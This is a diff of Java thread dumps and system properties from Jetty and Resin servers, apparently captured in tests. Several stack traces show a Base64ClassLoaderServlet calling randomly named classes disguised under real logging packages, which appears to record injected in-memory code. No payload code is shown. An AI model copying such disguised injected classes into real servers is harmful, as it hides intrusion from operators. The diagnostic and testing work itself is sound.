at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"P1-8" #27 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@70d05c13
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"P1-13" #32 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@421690ab
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"P1-16" #35 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:129)
|
||||
at org.mortbay.util.LineInput.fill(LineInput.java:477)
|
||||
at org.mortbay.util.LineInput.fillLine(LineInput.java:555)
|
||||
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:301)
|
||||
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:285)
|
||||
at org.mortbay.http.HttpRequest.readHeader(HttpRequest.java:240)
|
||||
at org.mortbay.http.HttpConnection.readRequest(HttpConnection.java:862)
|
||||
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:908)
|
||||
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
|
||||
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
|
||||
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
|
||||
|
||||
"P1-7" #26 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@7f4d1d41
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"P1-15" #34 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1530)
|
||||
at org.apache.logging.BIRtA.ErrorWxrxoHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:2826)
|
||||
at java.io.PrintWriter.print(PrintWriter.java:573)
|
||||
at org.mortbay.jetty.servlet.ServletWriter.print(ServletWriter.java:105)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at org.mortbay.jetty.servlet.ServletHolder.handle(ServletHolder.java:428)
|
||||
at org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain.doFilter(WebApplicationHandler.java:830)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||
at org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain.doFilter(WebApplicationHandler.java:821)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||
at org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain.doFilter(WebApplicationHandler.java:821)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||
at org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain.doFilter(WebApplicationHandler.java:821)
|
||||
at org.mortbay.jetty.servlet.WebApplicationHandler.dispatch(WebApplicationHandler.java:471)
|
||||
at org.mortbay.jetty.servlet.ServletHandler.handle(ServletHandler.java:568)
|
||||
at org.mortbay.http.HttpContext.handle(HttpContext.java:1530)
|
||||
at org.mortbay.jetty.servlet.WebApplicationContext.handle(WebApplicationContext.java:633)
|
||||
at org.mortbay.http.HttpContext.handle(HttpContext.java:1482)
|
||||
at org.mortbay.http.HttpServer.service(HttpServer.java:909)
|
||||
at org.mortbay.http.HttpConnection.service(HttpConnection.java:816)
|
||||
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:982)
|
||||
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
|
||||
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
|
||||
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
|
||||
|
||||
"P1-19" #38 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:129)
|
||||
at org.mortbay.util.LineInput.fill(LineInput.java:477)
|
||||
at org.mortbay.util.LineInput.fillLine(LineInput.java:555)
|
||||
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:301)
|
||||
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:285)
|
||||
at org.mortbay.http.HttpRequest.readHeader(HttpRequest.java:240)
|
||||
at org.mortbay.http.HttpConnection.readRequest(HttpConnection.java:862)
|
||||
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:908)
|
||||
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
|
||||
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
|
||||
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
|
||||
|
||||
"P1-12" #31 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@5773ec72
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Acceptor ServerSocket[addr=localhost/127.0.0.1,port=0,localport=8081]" #11 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:430)
|
||||
at org.mortbay.util.ThreadedServer.acceptSocket(ThreadedServer.java:432)
|
||||
at org.mortbay.util.ThreadedServer$Acceptor.run(ThreadedServer.java:634)
|
||||
|
||||
"P1-17" #36 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:129)
|
||||
at org.mortbay.util.LineInput.fill(LineInput.java:477)
|
||||
at org.mortbay.util.LineInput.fillLine(LineInput.java:555)
|
||||
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:301)
|
||||
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:285)
|
||||
at org.mortbay.http.HttpRequest.readHeader(HttpRequest.java:240)
|
||||
at org.mortbay.http.HttpConnection.readRequest(HttpConnection.java:862)
|
||||
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:908)
|
||||
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
|
||||
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
|
||||
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
|
||||
|
||||
"SessionScavenger" #16 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger.run(AbstractSessionManager.java:587)
|
||||
|
||||
"Acceptor ServerSocket[addr=0.0.0.0/0.0.0.0,port=0,localport=8080]" #18 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:430)
|
||||
at org.mortbay.util.ThreadedServer.acceptSocket(ThreadedServer.java:432)
|
||||
at org.mortbay.util.ThreadedServer$Acceptor.run(ThreadedServer.java:634)
|
||||
|
||||
"P1-6" #25 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@1fbbd7b2
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"SessionScavenger" #17 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger.run(AbstractSessionManager.java:587)
|
||||
|
||||
"P1-18" #37 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:129)
|
||||
at org.mortbay.util.LineInput.fill(LineInput.java:477)
|
||||
at org.mortbay.util.LineInput.fillLine(LineInput.java:555)
|
||||
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:301)
|
||||
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:285)
|
||||
at org.mortbay.http.HttpRequest.readHeader(HttpRequest.java:240)
|
||||
at org.mortbay.http.HttpConnection.readRequest(HttpConnection.java:862)
|
||||
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:908)
|
||||
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
|
||||
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
|
||||
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
|
||||
|
||||
"P1-0" #19 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@4d8ce14a
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@2ea45536
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:485)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116)
|
||||
|
||||
"P1-5" #24 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@654df764
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"main" #1 [TIMED_WAITING] on java.lang.String@26d66426
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool.join(ThreadPool.java:339)
|
||||
at org.mortbay.http.HttpServer.join(HttpServer.java:799)
|
||||
at org.mortbay.jetty.Server.main(Server.java:472)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
|
||||
at java.lang.reflect.Method.invoke(Method.java:597)
|
||||
at org.mortbay.start.Main.invokeMain(Main.java:151)
|
||||
at org.mortbay.start.Main.start(Main.java:476)
|
||||
at org.mortbay.start.Main.main(Main.java:94)
|
||||
|
||||
"Rollover" #13 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.mortbay.util.RolloverFileOutputStream$Rollover.run(RolloverFileOutputStream.java:300)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
org.apache.logging.BIRtA.ErrorWxrxoHandler
|
||||
org.mortbay.http.HttpConnection
|
||||
org.mortbay.http.HttpContext
|
||||
org.mortbay.http.HttpRequest
|
||||
org.mortbay.http.HttpServer
|
||||
org.mortbay.http.SocketListener
|
||||
org.mortbay.jetty.Server
|
||||
org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger
|
||||
org.mortbay.jetty.servlet.ServletHandler
|
||||
org.mortbay.jetty.servlet.ServletHolder
|
||||
org.mortbay.jetty.servlet.ServletWriter
|
||||
org.mortbay.jetty.servlet.WebApplicationContext
|
||||
org.mortbay.jetty.servlet.WebApplicationHandler
|
||||
org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain
|
||||
org.mortbay.start.Main
|
||||
org.mortbay.start.Monitor
|
||||
org.mortbay.util.LineInput
|
||||
org.mortbay.util.RolloverFileOutputStream$Rollover
|
||||
org.mortbay.util.ThreadPool
|
||||
org.mortbay.util.ThreadPool$PoolThread
|
||||
org.mortbay.util.ThreadedServer
|
||||
org.mortbay.util.ThreadedServer$Acceptor
|
||||
@@ -0,0 +1,232 @@
|
||||
# Generated At 2026-07-03 18:58:58
|
||||
SystemProps:
|
||||
java.runtime.name: Java(TM) SE Runtime Environment
|
||||
sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64
|
||||
java.vm.version: 20.45-b01
|
||||
java.vm.vendor: Sun Microsystems Inc.
|
||||
java.vendor.url: http://java.sun.com/
|
||||
path.separator: :
|
||||
java.vm.name: Java HotSpot(TM) 64-Bit Server VM
|
||||
file.encoding.pkg: sun.io
|
||||
user.country: US
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
sun.os.patch.level: unknown
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
user.dir: /usr/local/resin2
|
||||
org.xml.sax.driver: com.caucho.xml.Xml
|
||||
java.runtime.version: 1.6.0_45-b06
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
java.endorsed.dirs: /opt/java/jdk1.6.0_45/jre/lib/endorsed
|
||||
os.arch: amd64
|
||||
java.io.tmpdir: /tmp
|
||||
line.separator:
|
||||
|
||||
java.vm.specification.vendor: Sun Microsystems Inc.
|
||||
java.naming.factory.url.pkgs: com.caucho.naming
|
||||
os.name: Linux
|
||||
resin.home: /usr/local/resin2
|
||||
sun.jnu.encoding: ANSI_X3.4-1968
|
||||
java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64::/usr/local/resin2/libexec:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
|
||||
java.specification.name: Java Platform API Specification
|
||||
java.class.version: 50.0
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70
|
||||
user.home: /root
|
||||
user.timezone: UTC
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
file.encoding: ANSI_X3.4-1968
|
||||
java.specification.version: 1.6
|
||||
user.name: root
|
||||
java.class.path: .:/usr/local/resin2/lib/dom.jar:/usr/local/resin2/lib/jaxp.jar:/usr/local/resin2/lib/jmx.jar:/usr/local/resin2/lib/jta_101.jar:/usr/local/resin2/lib/resin.jar:/usr/local/resin2/lib/sax.jar:/usr/local/resin2/lib/webutil.jar:/opt/java/jdk1.6.0_45/lib/tools.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/usr/local/resin2/lib/jsdk23.jar
|
||||
java.naming.factory.initial: com.caucho.naming.InitialContextFactoryImpl
|
||||
java.vm.specification.version: 1.0
|
||||
sun.arch.data.model: 64
|
||||
java.home: /opt/java/jdk1.6.0_45/jre
|
||||
sun.java.command: com.caucho.server.http.HttpServer
|
||||
java.specification.vendor: Sun Microsystems Inc.
|
||||
user.language: en
|
||||
java.vm.info: mixed mode
|
||||
java.version: 1.6.0_45
|
||||
java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext
|
||||
sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes
|
||||
java.vendor: Sun Microsystems Inc.
|
||||
file.separator: /
|
||||
java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi
|
||||
sun.cpu.endian: little
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
sun.cpu.isalist:
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"tcp-accept-6802" #13 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:430)
|
||||
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
|
||||
at com.caucho.server.TcpServer.run(TcpServer.java:509)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"tcp-accept-6802" #14 daemon [TIMED_WAITING] on com.caucho.server.TcpServer$StartThread@13b33a0e
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.server.TcpServer$StartThread.run(TcpServer.java:995)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"tcp-accept-8080" #12 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.caucho.server.TcpServer$StartThread.run(TcpServer.java:1001)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"tcpConnection-8080-5" #20 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1530)
|
||||
at ch.qos.logback.Ekrxx.ErrorFmailHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:2826)
|
||||
at java.io.PrintWriter.print(PrintWriter.java:573)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at com.caucho.server.http.FilterChainServlet.doFilter(FilterChainServlet.java:96)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||
at com.caucho.server.http.FilterChainFilter.doFilter(FilterChainFilter.java:88)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||
at com.caucho.server.http.FilterChainFilter.doFilter(FilterChainFilter.java:88)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||
at com.caucho.server.http.FilterChainFilter.doFilter(FilterChainFilter.java:88)
|
||||
at com.caucho.server.http.Invocation.service(Invocation.java:315)
|
||||
at com.caucho.server.http.CacheInvocation.service(CacheInvocation.java:135)
|
||||
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:253)
|
||||
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:170)
|
||||
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"resin-cron" #9 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.caucho.util.Cron$CronThread.run(Cron.java:174)
|
||||
|
||||
"main" #1 [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.caucho.server.http.ResinServer.waitForExit(ResinServer.java:958)
|
||||
at com.caucho.server.http.ResinServer.main(ResinServer.java:1178)
|
||||
at com.caucho.server.http.HttpServer.main(HttpServer.java:103)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5ba8773c
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:485)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116)
|
||||
|
||||
"tcpConnection-8080-3" #18 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:129)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:159)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:790)
|
||||
at com.caucho.vfs.ReadStream.fillBuffer(ReadStream.java:765)
|
||||
at com.caucho.server.http.HttpRequest.readRequest(HttpRequest.java:360)
|
||||
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:193)
|
||||
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:171)
|
||||
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"tcp-accept-8080" #11 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:430)
|
||||
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
|
||||
at com.caucho.server.TcpServer.run(TcpServer.java:509)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"tcpConnection-8080-0" #15 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:129)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:159)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:790)
|
||||
at com.caucho.vfs.ReadStream.fillBuffer(ReadStream.java:765)
|
||||
at com.caucho.server.http.HttpRequest.readRequest(HttpRequest.java:360)
|
||||
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:193)
|
||||
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:171)
|
||||
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"tcpConnection-8080-4" #19 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:129)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:159)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:790)
|
||||
at com.caucho.vfs.ReadStream.fillBuffer(ReadStream.java:765)
|
||||
at com.caucho.server.http.HttpRequest.readRequest(HttpRequest.java:360)
|
||||
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:193)
|
||||
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:171)
|
||||
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"tcpConnection-8080-2" #17 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:129)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:159)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:790)
|
||||
at com.caucho.vfs.ReadStream.fillBuffer(ReadStream.java:765)
|
||||
at com.caucho.server.http.HttpRequest.readRequest(HttpRequest.java:360)
|
||||
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:193)
|
||||
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:171)
|
||||
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"resin-alarm" #8 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.caucho.util.Alarm$AlarmThread.run(Alarm.java:281)
|
||||
|
||||
"tcpConnection-6802-1" #16 daemon [TIMED_WAITING] on java.lang.Object@112c3327
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.server.TcpServer.accept(TcpServer.java:648)
|
||||
at com.caucho.server.TcpConnection.accept(TcpConnection.java:211)
|
||||
at com.caucho.server.TcpConnection.run(TcpConnection.java:132)
|
||||
at java.lang.Thread.run(Thread.java:662)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6cd24e3f
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
ch.qos.logback.Ekrxx.ErrorFmailHandler
|
||||
com.caucho.server.TcpConnection
|
||||
com.caucho.server.TcpServer
|
||||
com.caucho.server.TcpServer$StartThread
|
||||
com.caucho.server.http.CacheInvocation
|
||||
com.caucho.server.http.FilterChainFilter
|
||||
com.caucho.server.http.FilterChainServlet
|
||||
com.caucho.server.http.HttpRequest
|
||||
com.caucho.server.http.HttpServer
|
||||
com.caucho.server.http.Invocation
|
||||
com.caucho.server.http.ResinServer
|
||||
com.caucho.util.Alarm$AlarmThread
|
||||
com.caucho.util.Cron$CronThread
|
||||
com.caucho.vfs.QServerSocketWrapper
|
||||
com.caucho.vfs.ReadStream
|
||||
com.caucho.vfs.SocketStream
|
||||
@@ -1,4 +1,4 @@
|
||||
# Generated At 2025-08-10 14:59:54
|
||||
# Generated At 2026-07-03 18:50:40
|
||||
SystemProps:
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
|
||||
@@ -33,7 +33,7 @@ java.specification.name: Java Platform API Specification
|
||||
java.class.version: 52.0
|
||||
mail.smtp.port: 25
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
os.version: 6.14.10-orbstack-00291-g1b252bd3edea
|
||||
os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70
|
||||
user.home: /root
|
||||
user.timezone: Etc/UTC
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
@@ -44,7 +44,7 @@ user.name: root
|
||||
java.naming.factory.initial: com.caucho.naming.InitialContextFactoryImpl
|
||||
com.sun.management.jmxremote:
|
||||
java.vm.specification.version: 1.8
|
||||
sun.java.command: com.caucho.server.resin.Resin --root-directory /usr/local/resin3/ -conf /usr/local/resin3/conf/resin.conf -socketwait 34669
|
||||
sun.java.command: com.caucho.server.resin.Resin --root-directory /usr/local/resin3/ -conf /usr/local/resin3/conf/resin.conf -socketwait 43545
|
||||
java.home: /usr/local/openjdk-8/jre
|
||||
sun.arch.data.model: 64
|
||||
user.language: en
|
||||
@@ -66,7 +66,7 @@ sun.cpu.isalist:
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"http--8080-11$792323448" #23 daemon [RUNNABLE]
|
||||
"hmux-127.0.0.1:6800-4$792323448" #21 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
@@ -79,7 +79,7 @@ ThreadStacks:
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"hmux-127.0.0.1:6800-9$270113755" #31 daemon [RUNNABLE]
|
||||
"hmux-127.0.0.1:6800-3$710619096" #22 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
@@ -92,54 +92,7 @@ ThreadStacks:
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
